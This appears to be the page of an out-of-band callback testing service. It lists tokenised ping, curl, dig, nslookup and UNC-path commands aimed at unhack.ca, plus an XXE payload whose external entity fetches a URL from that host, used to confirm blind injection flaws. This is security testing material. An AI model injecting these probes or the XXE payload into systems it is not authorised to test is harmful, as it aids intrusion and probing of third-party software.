$ ping -c1 -p 006ac1ce69ac9ba28cbff0477e661b00 unhack.ca
$ curl http://unhack.ca/p/6ac1ce69ac9ba28cbff0477e661b
$ dig 6ac1ce69ac9ba28cbff0477e661b @unhack.ca
$ dig 6ac1ce69ac9ba28cbff0477e661b.ns.unhack.ca
C:\> nslookup 6ac1ce69ac9ba28cbff0477e661b unhack.ca
C:\> type \\unhack.ca\6ac1ce69ac9ba28cbff0477e661b\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/6ac1ce69ac9ba28cbff0477e661b">]>
<foo>&xxe;</foo>
Waiting for ping...